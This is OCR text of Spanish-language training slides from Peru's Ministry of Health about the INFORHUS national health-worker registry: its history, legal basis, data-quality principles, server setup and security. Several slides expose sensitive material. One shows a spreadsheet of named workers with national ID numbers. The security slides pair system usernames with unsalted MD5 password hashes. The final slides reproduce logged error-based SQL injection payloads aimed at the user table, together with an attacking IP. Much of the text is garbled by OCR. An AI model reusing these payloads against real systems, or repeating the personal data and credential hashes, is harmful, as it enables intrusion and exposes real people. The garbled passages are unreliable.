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TALLER DE CAPACITACION PARA LA ADMINISTRACION DEL APLICATIVO VIRTUAL DE
ESTRUCTURA DE LA FUERZA LABORAL Y MIGRACIONES DEL PERSONAL DE LA SALUD

REGISTRO NACIONAL DEL
PERSONAL DE SALUD

INF@®'RHUS

SISTEMA NACIONAL DE INFORMACION DE
RECURSOS HUMANOS EN SALUD
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

ANTECEDENTES

1999 —> 2001 > 2013 > 2016
. o I -
Ministerio | Direccitn General de Gestion del : PERU Ministerio | Direccion General de Gestion y Desarrollo
PERU de Salud Desarrolio de Recursos HUmanos de Salud | de Recursos Humanos en Sakud
\ )

®bservatorio

Recursos Humanos en Salud del Pery

INFORHUS

SISTEMA NACIONAL DE INFORMACION DE RECURSOS HUMANOS EN SALUD

RENAREHU
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DIRECCION GENERAL DE GESTION Y
DESARROLLO DE RECURSOS HUMANOS
EN SALUD

DIRECCION DE
PLANIFICACION DE DIRECCION DE GESTION
RECURSOS HUMANOS EN DEL TRABAJO EN SALUD
SALUD

* Dirigir y actualizar el Registro
Nacional de Recursos Humanos
del Sector Salud a nivel nacional

 Formular, desarrollar y difundir
investigaciones, estudios y
evaluaciones en materia de su
competencia

DRECCION DE

DESARROLLO DE

RECURSOS HUMANOS
EN SALUD

(@Thus



Ministerio | Direccion General de Gestion y Desarrollo
de Salud de Recursos Humanos en Salud

REGISTRO NACIONAL

GEOLOCALIZADOR DE

BRECHAS DEL PRIMER

DE PERSONAL DE LA ESPECIALISTAS Y
SALUD REPORTE DE DATOS NIVEL DE ATENCION
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Ministerio | Direccion General de Gestion y Desarrollo

de Recursos Humanos en Salud

INFORHUS MOVIL UNETE A SALUD
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PLATAFORMA VIRTUAL PARA EL RECLI
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Movil del INFORHUS
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

PROBLEMAS DE LA INFORMACION DE RHUS PREVIOS AL REGISTRO NACIONAL

DE LA SALUD

5 |APELLIDO PAAPELLIDO M) NOMBRES DNI TIPO DE LAB(SEXO (F/NEDAD FECHA DENA
6 [Arroyo Sernaque  Carmen Rosa 16696831 Obstetra  F 03/04/2012
7 |Camacho  Valdivia Rosa 16573398 Nutricionistz: F

8 |CARO SANCHEZ GALLEGOS, ERICK 10488882 M 05/12/1901
9 |Carrillo Manayay  Marcelina 16436339 Enfermera F 13/01/2012
10 |[CASTRO DE COSTILLA FRANCISCA LIMPIEZA F

11 |Chero Galvez Hilda 16785424 Obstetra  F

12 |[Chumédn  Urpeque  Humberto Erico 16445752 Artesano M 18/05/2012
13 |[Colunche Quintana  Nelida 40169162 Biologo - 15/05/2012
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

MARCO NORMATIVO

« DECRETO LEGISLATIVO 1153.
- DECIMO PRIMERA DISPOSICION COMPLEMENTARIA FINAL

« Créase el Registro Nacional del Personal de la Salud, a cargo del Ministerio de la
Salud, con el objeto de contar con informacion detallada y actualizada de los recursos
humanos.

« Para dicho efecto, las entidades proporcionan la informacion de forma adecuada y
mensual al Ministerio de Salud bajo la presuncidén, en caso de no remitirla, de no
contar con dicho personal de la salud en su entidad.

« EIl Ministerio de Economia y Finanzas y la Autoridad Nacional del Servicio Civil tendran
acceso a la informacion contenida en dicho registro.

- REGLAMENTO (Pendiente)

(@Thus
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POBLACION OBJETIVO

Todo el recurso humano del sector salud, de
forma independiente al régimen laboral, la condicion

laboral, tipo de labor, cargo gue desempefie o0 subsector en
el que labore.

@®@'hus

Observatorio
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

COMPARACION ENTRE EL PLH Y EL INFORHUS

Nivel de Analisis

Uso

Interoperabilidad

Acceso a los datos del
sistema

Registro de Datos
Base de Datos
Validacion interna

Politica remunerativa

UE

Pago de planillas

MCPP (parcial)

Cerrado

fragmentado
Multiples
Ocasional

Gestor de planillas

Establecimiento de Salud

Toma de decisiones (Implementacién de la
1153, dotacidn, brechas, estrategias para el
desarrollo de RHUS)

AIRHSP, RENIEC, RENIPRES
Abierto

Online
Una sola
Permanente (Mensual)

N° de RRHH por EESS para asignacion de las
entregas econdmicas segun criterios
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PERU de Salud de Recursos Humanos en Salud

C (0 | ® observatorio.inforhus.gob.pe/login/index.html
it Aplicaciones & MINSA @ ORHUS [ INFORHUS T DGE - Aula virtual @ CEPLAN [} Consuita Amigable }

R Ministerio
w PERU " 4e salud
Ministerio de Salud Instituto Nacional Penitenciario Ministerio Publico Ejercito del Pert

ULTIMAS NOTICIAS ENLACES DE INTERES
MINSA puede intervenir en regiones ante riesgo para Y2 § pery | Ministerio 3 D;h“ o
viday la i; ud publica sin esg I::'ﬂ L’l"':f‘l:&‘l‘,ljfi ke DCCDR“% m
=
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

CARACTERISTICAS

Ambito de interés
 Nacional, alcanza a todos los subsectores del sector salud.

Cobertura geografica

* Nacional, con posibilidad de desagregarse en departamentos,
provincias y distritos.

Cobertura jurisdiccional

« Nacional, con posibilidades de desagregarse en
dDIREIS%S/DISAS/GERESAS redes, microredes y establecimientos
e salu

Periodo de referencia
« El mes calendario previo al mes en curso.
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de Salud de Recursos Humanos en Salud de Recursos Humanos en Salud

REGISTRO NACIONAL DEL PERSONAL DE LA SALUD
FUENTES

EsSalud  FF.AA PNP SisoL  Privados

Gobiemos
Regionales

Servidor
INFORHUS

FUENTES DE INFORMACION

REGISTRO NACIONAL
DEL PEREONAL DF |/ S
SALUD

A
RENIEC >
N

AIRHSP

RENAES

FUENTES DE VERIFICACION

NORMATIVIDAD
SERVIR DEL MINSA D.LEG. 1153
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

PRINCIPIOS DEL REGISTRO Y LA ADMINISTRACION DE DATOS

* INTEGRIDAD:

 Mantener los datos tal como fueron ingresados, libre de
modificaciones no autorizadas.

 VALIDEZ:

« Coincidir los datos del personal de la salud registrados en el
aplicativo informatico INFORHUS, con los datos de su expediente
fisico, su legajo personal u otra fuente externa.

« CONFIABILIDAD:

 Grado de seguridad que posee la informacion para reflejar el
valor real de los datos.

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

ETAPAS DEL REGISTRO

« RECOLECCION

* Es el ingreso de datos estructurados y relacionados del personal de la
salud en el aplicativo informatico INFORHUS

« Fuentes: expedientes fisicos, legajos personales, otros sistemas de
informacion, otras fuentes externas

« Actualizacidon mensual.

« Contempla la recoleccion de los datos del establecimiento, y los
principales datos personales, datos de formacion académica y datos
laborales.

« PROCESAMIENTO

« Es la conversion del dato de recursos humanos en informacion para la
toma de decisiones.

« Comprende las fases de analisis (establecer coherencia), consistencia
(detectar incongruencias) y de validacion (evaluar la concordancia con las
fuentes)

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

ETAPAS DEL REGISTRO

« REPORTE

» Es el proceso donde se genera y difunde informacion estratégica para la
toma de decisiones a nivel nacional, regional y local.

« CONTROL Y AUDITORIA

« Consiste en la recoleccion y evaluacion de evidencias para determinar la
integridad y validez de los datos del personal de la salud registrados en el
Registro Nacional del Personal de la Salud.
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Ministerio
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Direccién General de Gestién y Desarrollo | Direccion de Planificacion
de Recursos Humanos en Salud

de Recursos Humanos en Salud

REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

EVOLUCION DE PORCENTAJE DE INCONSISTENCIAS JUNIO 2015-AGOSTO 2016 ENTRE EL

INFORHUS - AIRHSP
18000 15.2% 16.0%
14.5%
16000 14.0%
12.3%
4000
1 11.8% 12.0%
10.8% -
12000 D.5%
10.0%
10000 8.6%
7.3% s 0N
8000
5.9% 6.1%
5.5% 6.0%
6000
8% 4.0%
4000
2000 2.0%
0 0.0%
Junio 2015 Agosto Sex 2015 Octubre Dic. 2015 Enero 2016 Feb. 2016 Marz. 2016 Abril 2016 Mayo 2016 Junio 2016 Julio 2016 Agosto
2015 2015 2016
Periodo . . . . .
Junio 2015 |Agosto 2015(Set 2015  |Octubre 201)Dic. 2015 |Enero 2016 |Feb.2016 |Marz.2016 (Abril2016 |Mayo 2016 [Junio2016 (Julio2016 |Agosto 2016
% 15.2% 12.3% 11.8% 10.8% 14.5% 10.5% 8.6% 3.8% 5.9% 5.5% 6.1% 7.3% 7.0%
Obsenados 15247 12640 12153 11152 15981 11530 9464 4139 6404 5947 6561 7950 7624
Total disponibilidad | 100120 102954 103137 103482 109879 109902 110021 108670 108834 108759 108250 109359 108665
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

RETOS EN EL SISTEMA DE INFORMACION

* Interoperabilidad con diversa fuentes de informacién
e Articulacion a la ejecucion del presupuesto de RHUS
* Aprobacion del Proyecto de Reglamento del Registro Nacional del Personal de

Salud.
* Generacion de evidencias para la tomas de decisiones.

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

CARACTERISTICAS DEL SERVIDOR - INFORHUS

a) Caracteristicas técnicas del servicio:

AN N N N N N Y Y N N N NN

Dual Intel Xeon 5420 2.5 Ghz - 2 processors 8 Cores /
32GB DD3 Memoria RAM

2TB HDD

3TB de transferencia mensual

Hasta 50 conexiones concurrentes

BD MYSQL

Acceso via SHH

Sistema operativo Linux CentOS

Panel de administracion WEBMIN

Acceso a FTP

Backup diario / 01 semana / 01 men //\ | |NF 0 RHUS
Soporte 24x7 . " REGISTRO NACIONAL DEL PERSONAL
SSL Encriptacion 128 bits PELASHLED
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- | Ministerio | Direccion General de Gestion y Desarrollo
PERU ]

de Recursos Humanos en Salud

REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

ESTADISTICA DE TRANSFERENCIA DE DATOS - INFORHUS

columbia.vis-hosting.com monitor

| Home | Help | Details |

CPU Load Average (max: 1600)
108.0 10800
=]
8.0 3 8100
E H
o 94,0 W 540.0
b, g
2.0 T 270.0
D A TH IR ™ |
0.0 0o
406 8 1012 14 16 18 20 22 0 2 4 6 § 10 12 4 6 8 1012 14 16 18 20 2 O 2 4 6 § 10 12
Disk usage 10 Stats / Idle
200.0 G 4.0
150.0 G 3.0
il
i i
;100.05 d 2.0
2 g
50,06 1.0
006 0.0
46 8§ 1012 14 16 18 20 2 0 2 4 6 § 10 12
Memory Swap
25,20
18,96
I
2 1260 1 ot b
= ; RN
G o )thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

ESTADISTICA DE TRANSFERENCIA DE DATOS - INFORHUS

columbia.vis-hosting.com monitor

| Home | Help | Details |
Apache
HTTP Processes HTTP Requests

N R T R SO

#0 1 2o 1 i

3.0 2000

16.0 1000

0.0 0.0 A
4 6 8 101214 16 18 20 2 0 2 4 § § 10 12 406 B 1012 14 16 18 20 2 0 2 4 f 8 10 12

MySQL Processes

12.0

8.0

£.0

30
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

TRAFICO MENSUAL 2015

161 T B (11 e

Ene Feb Mar Abr May Jun Jul Ago Sep Oct Nov Dic
2015 2015 2015 2015 2015 2015 2015 2015 201S 2015 2015 2015

Ene 2015 5,041 10,287 849,440 1,073,093 15.63 GB
Feb 2015 8,152 17,021 1,942,667 2,370,817 50.38 GB
Mar 2015 14,658 30,134 4,124,877 4,915,972 130.50 GB
Abr 2015 12,433 25,128 2,409,106 3,207,785 117.67 GB
May 2015 6,350 13,556 1,686,038 2,094,360 46.92 GB
Jun 2015 5,422 11,506 1,305,605 1,625,264 37.20 GB
Jul 2015 7,481 15,230 1,381,146 1,778,560 46.29 GB
Ago 2015 8,339 16,556 1,597,176 2,109,097 63.37 GB
Sep 2015 23,021 41,941 1,652,571 2,650,831 87.21 GB

(@Thus
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- | Ministerio
PERU de Salud

REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

TRAFICO MENSUAL 2016

u'huihuihul.uliull“iluul-“_““__“_“,_

Ene Feb Mar Abr May Jun Jul Ago Sep Oct Nov Dic
2016 2016 2016 2016 2016 2016 2016 2016 2016 2016 2016 2016

~ Visitantes  NGmero de ey mae |
bine l distintos visitas | LlER L

Ene 2016 6,593 12,555 1,102,057 1,475,212 36.50 GB
Feb 2016 6,822 13,632 1,284,355 1,694,601 39.41 GB
Mar 2016 8,183 15,674 1,038,580 1,446,111 42.06 GB
Abr 2016 5,697 12,293 984,890 1,271,456 41.70 GB
May 2016 6,286 12,724 1,004,543 1,267,330 40.31 GB
Jun 2016 26,552 45,572 4,681,967 6,093,919 186.60 GB
Jul 2016 34,344 66,156 2,958,823 6,043,828 255.41 GB
Ago 2016 5,273 8,944 402,271 720,333 30.74 GB
o 0 0 0 0

Sep 2016
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Ministerio | Direccion General de Gestion y Desarrollo

de Recursos Humanos en Salud

SEGURIDAD EN EL INFORHUS

~ ¥ 1 Result ]
 Las contrasenas se

encuentran encriptadas, J& 5| oy v HEE @D E

REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

utilizando MD5.

usrcclave

[0 |uarcnorbre uarclogin
° En Criptoqrafl'a MD5 [ [rdministrader del Sistema |MINSAL
Eit)FGB\/IEitLJrEi (jE; [ RODRIGUEZ ZEVALETA WALTHER-Inact;WRODRIGUEs333
essage_Di est [ loreto - inactivo loreto
Algorithm 5, Algoritmo L] daten daten
de Resumen del O yurinaguas yurinaguas
Mens_aje 5) es un ] [0 |Chachapoyas chachapoyas
algoritmo de reduccion 0 edro Ruiz pruiz
criptogréafico de 128 bits 0 omacochas pomacochas
ampliamente usado. O [jumbilla junbilla
O [ocalli ocalli
[ [Collonce collonce
O Lamd lamud
O Tingo tingo
[] Yerbabuenz yerbabuena
[ Tesmehamba Teimehamba

13229878bb3biadl 36febiddc0dildba
13229878bb3b8adl 36febid9c0dil dbad
elladc3949bas9abbei6e057£205883e
13229878bb3b8adl 36febid9c0dfldba
b2ldeleeldlasacedddlecsE0fedalal
73d6b8d32£c44112£2d4d2c400477640
970ab5357672c2a0286339d£425935¢ca
2998ba2b9102beb3552573b 700451386
81dcSbdb52d04dc20036dbda313ed055
2d4979fEcE69461e578862aa6C546Tcea
el0adc3949bas9abbe56e0571201883e
62baldd3493d5al3£6bET0e15202465a
1476c379£6301217716d45447094caf02
aed022721a32631ca0c315032fbAccds
3NA4971423R % F5hdnR95ANARNSAAA TN

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

SEGURIDAD EN EL INFORHUS

« Conexion ala Base de Dato BAULALLL %X | (7 ssintpsexplicacion - b X | |]
Fuera de la Red del Minsa

« SSH (Secure SHell, en espafol:
Intérprete de ordenes seguro) es
el nombre de un protocolo y
del programa quedlo Implementa,
y sSirve para acceder a maquinas PR
remotas a través de una red bitvise »

« SSH usa técnicas de cifrado que
hacen que la informacion que
viaja  por el medio de
comunicacion vaya de manera no
legible, evitando que terceras
personas puedan descubrir el
usuario y contrasefia de la
conexion ni lo que se escribe
durante toda la sesion

() Bivise Limited 61 https;/wwnw.bitvise.com

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

SEGURIDAD EN EL INFORHUS

« Tiempo de duracion de las sesiones esta configurado para que
duren 20 minutos, luego de este tiempo, el usuario tiene que
volver a iniciar sesion.

-

'd Javier del Campo Sanchez
- Cerrar Sesion PERU ER555550.

== MODULOS

Modulos

Seleccione el modulo correspondiente

Brechade |Tablero de Modulo de
RRHH Mando Seguridad Planillas

Copyright © 2016 Ministerio de Salud

(@Thus
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REGISTRO NACIONAL DEL PERSONAL DE LA SALUD

PRUEBAS DE VULNERABILIDAD DE LA BASE DE DATOS

Inyeccion SQL

Consiste en la insercion de cédigo SQL por medio de los datos de entrada
desde la parte del cliente hacia la aplicacion. Es decir, por medio de la
insercion de este codigo el atacante puede modificar las consultar originales
gue debe realizar la aplicacion y ejecutar otras totalmente distintas con la
intencion de acceder a la herramienta, obtener informacion de alguna de las
tablas o borrar los datos almacenados, entre otras muchas cosas.

(@Thus
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PERU de Salud de Recursos Humanos en Salud de Recursos Humanos en Salud

IError at 2016-05-31 11:32:51: I

Query: INSERT INTO th_usuarios_ws_reniec (id_usuario, v_dni_busqueda, i_dia. i_mes, i_anio, dt_fecha_busqueda, v_codigo_respuesta, v_nombres_obtenidos, v_apellidos_obtenidos, v_apellido_patemo_enviado, v ip_remota,
i_aplicacion) VALUES (0" " AND (SELECT 4068 FROM(SELECT COUNT(*),CONCAT(0x7 16a6b7a71,(SELECT MID((FNULL{CAST(siscestado AS CHAR),0x20)),1,54) FROM inforhus siusuario ORDER BY uomid LIMIT
94.1),0x716a717071, FLOOR(RAND( )*2))x FROM INFORMATION_SCHEMA.CHARACTER _SETS GROUP BY x)a) AND ‘ropI'=ropl’, '31', 5, 2016, 2016-05-31 11:32:50" D', ", N E', ", "190.238.227.95., '4)

Error: Duplicate entry ‘gjkzqAqjqpq1’ for key 'group_key'

Yoursite <system@your-site.com> 31 may. L R
d para mi, mi [~
¥A inglésv > espafiolv  Traducir mensaje Desactivar para: inglés x

IError at 2016-05-31 11:30:06: I

Query: INSERT INTO th_usuarios_ws_reniec (id_usuario, v_dni_busqueda, i_dia, i_mes, i_anio, dt_fecha_busqueda, v_codigo_respuesta, v_nombres_obtenidos, v_apellidos_obtenidos, v_apellido_patemo_enviado, v_ip_remota,
i_aplicacion) VALUES (U’ " AND (SELECT 8859 FROM(SELECT COUNT(*}, CONCAT(0x716a6b7a71,(SELECT MID([FNULL{CAST siscestado AS CHAR),0x20)).1,54) FROM inforhus siusuario ORDER BY uomid LIMIT
91,1),0x716a717071, FLOOR RAND(0)"2))x FROM INFORMATION_SCHEMA. CHARACTER_SETS GROUP BY xja) AND 'kym'=riym’, ‘31, 5, 2016', '2016-05-31 11:30:05, D', ", N E, ", 190.238.227.95' '4)

Error: Duplicate entry ‘qjkzo/\qjqqu for key ‘group_key'

Yoursite <system@your-site.com> 31 may. N v
a para mi, mi [+
?A inglésv > espafiolv  Traducir mensaje Desactivar para: inglés x

IError at 2016-05-31 11:31:30: I

Query: INSERT INTO tb_usuarios_ws_reniec (id_usuario, v_dni_busqueda, i_dia, i_mes, i_anio, dt_fecha_busqueda, v_codigo_respuesta, v_nombres_obtenidos, v_apellidos_obtenidos, v_apellido_patemo_enviado, v_ip_remota,
i_aplicacion) VALUES (0', " AND (SELECT 5671 FROM(SELECT COUNT(*), CONCAT(0x716a6b7a71,(SELECT MID((IFNULL(CAST(usremicrored AS CHAR),0x20)),1.54) FROM inforhus.siusuario ORDER BY uomid LIMIT
92.1),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER _SETS GROUP BY xja) AND 'nuZP'=nuzP', '31', ', ‘2016, 2016-05-31 11:31:29' D', ", N E', ", "190.238.227.95, '4)

Emor: Duplicate entry 'gjkzq gjgpq1' for key ‘group_key'

Yoursite <system@your-site.com> 31 may. N [T
a parami, mi [+
¥A inglésv > espafiolv  Traducir mensaje Desactivar para: inglés x

IError at 2016-05-31 11:37:11: I

Query INSERT INTO th_usuarios_ws_reniec (id_usuario, v_dni_busqueda, i_dia, i_mes, i_anio, dt_fecha_busqueda, v_codigo_respuesta, v_nombres_obtenidos, v_apellidos_obtenidos, v apelhdo )_patemo_enviado, v_ip_remota,
i aplicacion) VALUES (0, * AND (SELECT 8985 FROM(SELECT COUNT(*), CONCAT(0x7 16a6b7a71,(SELECT MID((TFNULL{CAST(siscestado AS CHAR),0x20)),1,54) FROM inforhus siusuario ORDER BY uomid LTIMIT
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